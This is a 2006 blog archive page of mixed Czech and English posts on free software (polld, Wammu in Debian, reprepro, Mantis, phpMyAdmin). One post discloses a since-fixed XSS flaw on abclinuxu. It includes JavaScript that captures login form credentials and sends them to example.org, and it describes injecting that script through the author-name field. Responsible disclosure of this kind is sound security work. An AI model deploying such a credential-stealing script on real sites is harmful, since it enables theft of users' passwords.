Michal Čihař - Archive for 5/2006

Můj free software 9. - polld

Po Wammu následovala poměrně dlouhá přestávka. Ne že bych nic nedělal, ale nějak nebyla potřeba něco nového vytvářet. A času taky nikdy není nazbyt. Pak mě jednoho dne naštvalo, že čtečka karet není schopná načíst partition po zasunutí karty a rozhodl jsem se to vyřešit. Tak vznikl polld , trviviální démon, který jenom periodicky otevírá soubor.

Opravdu se nejedná o nic složitého, většina kódu se stará o načítání konfiguračního souboru a zpracování parametrů. No ale svůj účel to plní, a to dokonce nejen mě, ale i pár dalším lidem :-).

PS: Nebojte se, za chvíli už vážně bude konec této nekonečné soap opery.

Jak ukrást hesla uživatelům abclinuxu?

Když tak řeším bezpečností chyby v phpMyAdminovi, napadlo mě jak jsou proti podobným věcem zabezpečené portály. Protože dost často používám abclinuxu, tak přišlo první na mušku :-).

Předem podotýkám, že tento článek byl nejdříve dán k dispozici adminům, takže doufám, že v době zveřejnění už není možné toto provést.

Většina prohlížečů dnes umí javascript, který se dá dělat spousta zajímavých věcí. Třeba přidat javascript na obsluhu nějaké událost nebo posílat XML HTTP requesty . Bystřejším již možná dochází, že pokud si můžu vložit vlastní javascript, není žádný problém odchytit odesílání přihlašovacího formuláře. Kdo nevěří, může si zkusit následující ukázku (ta heslo jenom zobrazí, ale to už je jenom detail):

 <script type="text/javascript">
<!--
function process() {
    p = document.getElementById('pwd').value;
    u = document.getElementById('usr').value;
    document.getElementById('ls_prepinac').innerHTML = 
        '<img src="http://example.org/?u=' + 
        u + '&p;=' + p + '"/>';
    window.alert('odeslano na example.org:\npass: ' + 
        p + '\n' + 'user: ' + u);
}
function load() {
    frm = document.forms[0];
    frm.onsubmit = process;
}
window.onload = load;
//-->
</script>

<div id="ls_prepinac">xx</div>
<form method="post">
<input type="text" name="u" id="usr">
<input type="password" name="p" id="pwd">
<input type="submit">
</form>

Teď už jenom zbývá jak dostat vlastní javascript na logovací stránku. Protože je samostatná, tak jediná věc, která je tam vidět z uživatelem ovlivnitelného obsahu jsou zprávičky. Obsah zpráviček je (aspoň v to doufám) kontrolován na dovolené html, ale ještě nám zbývá jeden zajímavý prvek. Tím je naše jméno, tam si můžeme napsat cokoliv co chceme, včetně javascriptu. Tak teď už jen zbývá doufat, že to moc lidí nezrealizovalo :-). Napsat zprávičku, která bude schválena až takový problém není a pak už je dílo dokonáno.

Jaké je řešení? Nedovolovat nikde javascript, dá se použít k mnoha nebezpečným věcem.

Stav chyby:

  • 2.5.2006 12:56 - oznámeno
  • 2.5.2006 13:14 - Leoš tvrdí že při zadání kontroluje <
  • 2.5.2006 13:26 - ukazuju mu že nekontroluje (kdo si v té době všiml "x" u mého jména, má 10 bodů za všímavost :-))
  • 2.5.2006 13:45 - Leoš uznává, že kontrola neexistuje
  • 2.5.2006 21:53 - opraveno

Downloads over FTP

Donwload server dl.cihar.com is now available also over ftp. If you want to mirror some content, FTP is more suited for such thing. I might ever block your access to HTTP, if your mirrorer will be too aggressive.

Wammu in Debian

Finally it went through long NEW queue and it has been accepted!

Subject: wammu_0.13-1_i386.changes ACCEPTED
From: Debian Installer <installer@ftp-master.debian.org>
To: Michal Čihař <michal@cihar.com>
Date: Tue, 02 May 2006 08:49:56 -0700

Accepted:
wammu_0.13-1.diff.gz
  to pool/main/w/wammu/wammu_0.13-1.diff.gz
wammu_0.13-1.dsc
  to pool/main/w/wammu/wammu_0.13-1.dsc
wammu_0.13-1_all.deb
  to pool/main/w/wammu/wammu_0.13-1_all.deb
wammu_0.13.orig.tar.gz
  to pool/main/w/wammu/wammu_0.13.orig.tar.gz
Announcing to debian-devel-changes@lists.debian.org
Closing bugs: 326710

Thank you for your contribution to Debian.

Mantis and new MySQL

I just moved Mantis serving bugs.cihar.com to this host and upgraded it also to latest stable version. However it still doesn't deal correctly with recent MySQL. I have no idea why all those PHP application guys ignore charset features in MySQL.

So if you want to use non ASCII chars in Mantis with recent MySQL and you need to modify core/adodb/drivers/adodb-mysql.inc.php and add at the end of _connect and _pconnect funcions code to set connection charset:

mysql_query('SET NAMES \'utf8\'', $this->_connectionID);

Spam je zdravý

Občas nechápu na co všechno se dají získat granty. Vědci z University of Alberta vyzkoumali, že nevyžádaná pošta může mít dobrý vliv na zdravotní stav člověka . Posílat lidem nevyžádanou reklamu na zdravý způsob života a zkoumat jak je to ovlivní je vskuktu geniální nápad. Jenom je vidět. že dotyční asi moc zkušeností se spamem neměli, když jim prošel přes všechny filtry :-).

Repository pomocí reprepro

Chcete vlastní repository s Debianími balíčky? Reprero to dělá ještě jednodušší než jsem popisoval dříve .

Stačí vytvořit adresář, který bude repository obsahovat. Vytvořit konfigurační soubor conf/distributions , ve kterém mu řekneme co bude naše repository obsahovat. Nějak takhle by to mohlo vypadat (samozřejmě jméno si tam napíšte vlastní):

 Origin: Michal Čihař
Label: Unofficial Packages
Suite: unstable
Codename: sid
Architectures: i386 amd64 source
Components: main contrib non-free
Description: Mostly packages waiting for inclusion in Debian
DebIndices: Packages Release . .gz .bz2
DscIndices: Sources Release . .gz .bz2
SignWith: default

A pak již jen přidat balíček:

 reprepro -b CESTA_K_REPOSITORY include sid balicek

Kde přidávaný balíček může být buď changes obsahující jak zdojáky tak binárky nebo samotný deb (pak se použije includedeb ). A světe div se, všechno ostatní se udělá samo :-). Výsledek je vidět třeba na debian.cihar.com .

phpMyAdmin demo server has themes

I just updated demo server to avoid gap between current development code and demo caused by long anonymous CVS outage on sourceforge.

As special bonus HEAD demo now contains all themes which are available on phpMyAdmin site, enjoy various colours of phpMyAdmin! (Please note that not all themes are up to date with current code, so something might not look perfectly.)